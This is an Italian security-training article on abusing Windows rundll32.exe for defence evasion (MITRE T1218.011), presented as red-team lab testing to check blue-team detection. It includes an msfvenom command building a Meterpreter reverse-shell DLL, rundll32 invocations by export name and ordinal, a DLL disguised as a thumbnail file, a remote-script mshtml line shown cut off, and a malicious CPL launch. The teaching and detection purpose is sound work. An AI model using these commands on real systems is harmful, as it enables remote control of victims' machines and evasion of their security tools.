Iscriviti al webinar gratuito del 12 Maggio per diventare Forensic Analyst! Scopri di più
Corso Ethical Hacker: accedi alla promozione fino al 30 Aprile! Scopri di più
Rundll32.exe è uno dei binari di sistema più abusati nell'arsenale offensivo moderno. Presente in ogni installazione Windows, il suo compito legittimo è caricare ed eseguire funzioni esportate da librerie DLL — ma proprio questa versatilità lo rende un veicolo ideale per il proxy di codice malevolo. La tecnica rientra nella tattica Defense Evasion (TA0005), la fase della kill chain in cui l'avversario cerca di operare senza essere rilevato dagli strumenti di sicurezza.
Il principio è semplice: anziché lanciare direttamente un eseguibile sospetto, l'attaccante delega l'esecuzione a rundll32.exe, un processo firmato Microsoft che spesso compare nelle allowlist degli EDR. I vettori d'abuso sono molteplici: payload DLL classici, file Control Panel (.cpl) tramite le funzioni Control_RunDLL e Control_RunDLLAsUser, script JavaScript via mshtml,RunHTMLApplication, e persino DLL di sistema legittime come zipfldr.dll o ieframe.dll usate come proxy intermedi. L'attaccante può ulteriormente offuscare le proprie tracce sfruttando la risoluzione Wide/ANSI dei nomi di funzione o l'esecuzione per numero ordinale.
I numeri confermano la popolarità della tecnica: 26 gruppi APT, 69 famiglie malware, 8 campagne documentate e una mitigazione ufficiale ne fanno uno dei LOLBIN più monitorati — e più pericolosi — dell'ecosistema Windows.
Il test di questa tecnica in ambiente lab è fondamentale per validare le capacità di detection del Blue Team. Rundll32 offre una superficie d'attacco ampia: ogni variante d'invocazione produce artefatti diversi e richiede regole distinte, quindi il Red Teamer deve coprire quanti più pattern possibile.
Esecuzione DLL classica. Il caso base prevede il caricamento di una DLL personalizzata con una funzione esportata. Per generare il payload si può usare msfvenom di Metasploit (open source):
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=443 -f dll -o payload.dll
L'esecuzione avviene poi con:
rundll32.exe payload.dll,StartW
Nota il suffisso W: sfrutta il meccanismo di risoluzione Wide/ANSI documentato nella tecnica. Rundll32 cercherà prima StartWW, poi StartWA, infine StartW. Creare export multipli con suffissi W e A per le funzioni innocue è una tecnica di offuscamento testabile in lab.
Esecuzione per ordinale. Quando il malware non espone nomi di funzione leggibili, l'invocazione per numero ordinale elimina un indicatore prezioso per gli analisti:
rundll32.exe payload.dll,#1
Abuso di DLL di sistema. La campagna Operation Dream Job (C0022) condotta da Lazarus Group dimostra come si possa mascherare l'esecuzione con percorsi e nomi legittimi. Per simulare un pattern analogo, si può creare una DLL in una directory di sistema e invocarla con un path credibile:
rundll32.exe "C:\ProgramData\ThumbNail\thumbnail.db" ,CtrlPanel
JavaScript via mshtml. Questa variante, resa celebre dal malware Poweliks, consente l'esecuzione di script remoti senza mai scrivere un PE su disco. In ambiente lab isolato:
rundll32.exe javascript:"..\mshtml,RunHTMLApplication ";document.write();GetObject("script:
Per servire il file .sct è sufficiente un semplice HTTP server Python. Questa variante è particolarmente rilevante perché genera traffico di rete in uscita da rundll32 — un indicatore ad alta fedeltà.
File CPL. I file Control Panel Item sono DLL rinominate che rundll32 esegue attraverso shell32.dll:
rundll32.exe shell32.dll,Control_RunDLL malicious.cpl
Il tool AtomicRedTeam (open source) contiene test atomici pronti per T1218.011 che coprono tutte queste varianti, ideali per esecuzioni automatizzate e ripetibili tramite il suo modulo PowerShell Invoke-AtomicTest.
Scarica la guida gratuita e segui il percorso corretto fin dal primo passo